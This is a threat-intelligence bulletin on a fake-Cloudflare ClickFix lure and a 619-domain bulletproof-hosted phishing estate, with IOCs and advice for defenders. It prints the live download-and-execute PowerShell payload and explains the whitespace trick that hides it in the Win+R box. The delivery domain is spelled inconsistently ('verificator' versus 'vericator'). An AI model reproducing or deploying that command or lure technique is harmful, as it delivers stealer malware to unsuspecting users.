

verificator.cc ClickFix → Femo IT bulletproof estate

A `Win + R` screenshot search surfaced a fake-Cloudflare ClickFix loader. Two fingerprint pivots turned it into a 619-domain, 8-month phishing estate on one bulletproof ASN. Source: Webamon `scans*`. Seeds:

`fingerprint.cert_san` · `fingerprint.asn` .

619

DOMAINS

AS214351

SINGLE ASN

6+

PARALLEL OPS

8 mo

ACTIVE, EXPANDING

— Executive summary WHAT IT IS

A ClickFix / fake-CAPTCHA loader (verificator.cc) is fronted by 33 compromised sites that 301-redirect to a pixel-perfect Cloudflare "Just a moment..." clone. It poisons the clipboard with a PowerShell one-liner and social-engineers the victim to run it via Win+R. Pivoting its certificate and ASN fingerprints exposed the host beneath: **Femo IT Solutions Limited, AS214351 (Germany)** – a single-tenant bulletproof network running at least six parallel phishing/malware operations. Every tracked domain contacts only this ASN.

ATTRIBUTION · OSINT

FEMO IT SOLUTIONS LIMITED (AS214351) is independently identified as a bulletproof-hosting operator linked to a broad malicious-tooling set: SVCStealer, CoinMiner, DonutLoader, Rhadamanthys, Stealc, RemcosRAT, QuasarRAT, RedLineStealer, LummaStealer, PovertyStealer, OrcusRAT, PrivateLoader, SmokeLoader, Amadey, CastleLoader, Evilginx/EvilGoPhish, DanaBot and Meduza Stealer. OSINT associates the entity with the defhost brand (`defhost.co`). This corroborates the infrastructure finding: Evilginx/EvilGoPhish explains the AiTM credential-phishing volume, and the stealer/loader roster is exactly the payload class the verificator.cc ClickFix loader exists to deliver.

— Part 1 – the ClickFix lure FINGERPRINT.CERT_SAN

33 domains · active 2026-08-05-09 · all on `192.162.199.184` (Femo IT). Deliberately mixed fronts (gambling, shops, consulting, a pizza place) each 301-redirect to `https://verificator.cc/verify` – public face behind Cloudflare, origin/cert on Femo IT.

verificator.cc

Performing security check

This website is using a security service to protect itself from malicious bots. This page will be displayed while the website performs that you are not a bot.



Ray ID: 8188116a19a49563
Performance & security by Cloudflare | Privacy

The clipboard payload

```
# silently written to clipboard, run via Win+R  
irm https://verificator.cc/powershell/verify.ps1 | iex
```

`irm|iex` = download-and-run in memory, nothing on disk.
`verify.ps1` is **offline** – Stage 2 is inference
(Lumma/StealC-class stealer), confirm by detonation.

verificator.cc/verify as Webamon captured it – a fake Cloudflare gate.

Operator tradecraft

STATIC ANALYSIS OF THE KIT

Two-string clipboard split – the heart of ClickFix

The kit holds two commands. `VISIBLE_COMMAND` (on screen) is just `irm ... | iex`. `FULL_COMMAND` (to the clipboard) is `command + 23 spaces + '# ' + domain`. The 23 spaces (`commentSpaces: 23` in `config.json`) push the `# brand` comment far right, so in the narrow Run box the victim reads a harmless "verification tag" while the executable `irm|iex` scrolls out of view. Poisoning fires automatically in `startVerification()`, with a `Copy` button fallback.

Remote-controlled, multi-brand kit

The command isn't hard-coded – the page fetches `config.json` (`cache:'no-store'`) at runtime, so the operator swaps the payload without touching a delivery domain. An 8-step `resolveDomain()` cascade picks which brand to `display`; an `ownHosts` list ensures the real host is never shown. The kit's Russian-language header documents the deployment as a `Cloudflare Rule`: `poof.io/* → vericator.cc/verify?d=$1`. Captured configs rotate brands directly – one routes `goldhotel.nl` (hospitality, see Part 2), the example uses `poof.io` (crypto).

Full attack chain

STAGE 0 → 3

```
Impersonated brand domain (compromised / lookalike – poof.io, goldhotel.nl)
| Cloudflare Rule: brand/* → vericator.cc/verify?d=brand
▼
Stage 0 Fake Cloudflare CAPTCHA (JS) — silently poisons clipboard
| social engineering: Win+R → Ctrl+V → Enter
▼
Stage 1 irm https://vericator.cc/powershell/verify.ps1 | iex (fileless)
▼
Stage 2 verify.ps1 — offline; not retrieved
▼
Stage 3 info stealer (Lumma/StealC/ACR/Vidar) or RAT (NetSupport/AsyncRAT)
```

ClickFix IOCs

BLOCK / HUNT

TYPE	VALUE
Delivery host	<code>vericator.cc</code>
Payload URL	<code>https://vericator.cc/powershell/verify.ps1</code> (offline)
Config	<code>vericator.cc/config.json</code> · sha256 <code>70d56d1a..d771b1</code>
Origin IP	<code>192.162.199.184</code> (Femo IT, AS214351)
CF front	<code>104.21.88.89</code> , <code>172.67.141.122</code>
Clipboard cmd	<code>irm https://vericator.cc/powershell/verify.ps1 iex</code>
Cert-SAN fp	<code>72b1dc9fc6737fd9f64706a29ce3d0cd638dcaa41ed3993a9623f2021b8134be</code>

— Part 2 – the pivot: Femo IT / AS214351 FINGERPRINT.ASN

619 domains · 750+ scans · first seen 2026-01-03 · last 2026-08-10 (ongoing). 725 of 750 scans resolve to AS214351 / Germany; the ClickFix cert cluster is a **strict subset** (42/42 overlap). Infrastructure concentrates in three /24s ([62.60.226.0/24](#) · [192.162.199.0/24](#) · [196.251.107.0/24](#)) and volume is **surging in August** (16-22 new/day) – the estate is being expanded now.

Parallel operations under one roof

- **Hotel / PMS credential phishing (dominant, ~124 scans)** — "Booking Confirmation | Enter your reservation" (96), Rezlynx, Newbook, D-EDGE, DIRS21, SuperControl, Scidoo, Guestline, Profitroom, Previo ID. The [goldhotel.nl](#) ClickFix route ties this strain to Part 1.
- **Bank / credit-union** — SoFi, Navy Federal Credit Union, Access Global CU, E*TRADE.
- **Crypto-exchange spoofs** — ChangeNOW, ff-exchange.click / .biz / .bond, Krypto Swap, Nomad Trade.
- **Gaming skin scams** — Steam-style Dota 2 "Duel Arena", Valorant / Riot.
- **Media / social** — homoglyph "Copyright Claim Review — Youtube" (creator-account lure).
- **ClickFix info-stealer delivery** — the vericator.cc wave from Part 1.

— Tracking status NOW A TRACKED CAMPAIGN

Promoted to a tracked Webamon campaign on **2026-08-11** – "*Femo IT (AS214351) Bulletproof Phishing Estate + vericator.cc ClickFix*". Re-checked every 4 hours; new domains, hosting-status changes and infra rotation land on one record, not as separate alerts.

618

DOMAINS TRACKED

63.3%

ONLINE (388)

225

OFFLINE

2

SEED FINGERPRINTS

Top TLDs .org 21.8% · .com 21.0% · .xyz 8.4% · .net 6.6% · .top 6.3% · .shop 5.3%. A **63% live rate on an 8-month estate** is high for phishing infrastructure – bulletproof hosting keeps domains up long after they would normally be sinkholed.

ASSESSMENT & RECOMMENDATIONS

One actor's bulletproof estate, not one campaign. Priority notifications: hotel-PMS vendors (Rezlynx, Newbook, D-EDGE, DIRS21, Guestline, Profitroom), Navy Federal, SoFi, ChangeNOW. **Defenders:** block AS214351 egress; alert on any clipboard containing `irm ... | iex`; hunt PowerShell `Invoke-RestMethod / iex` firing within seconds of a browser "verification" page; flag 301s to [vericator.cc](#). Next step: verify registration artifacts and linked accounts for the [defhost.co](#) entity for disruption.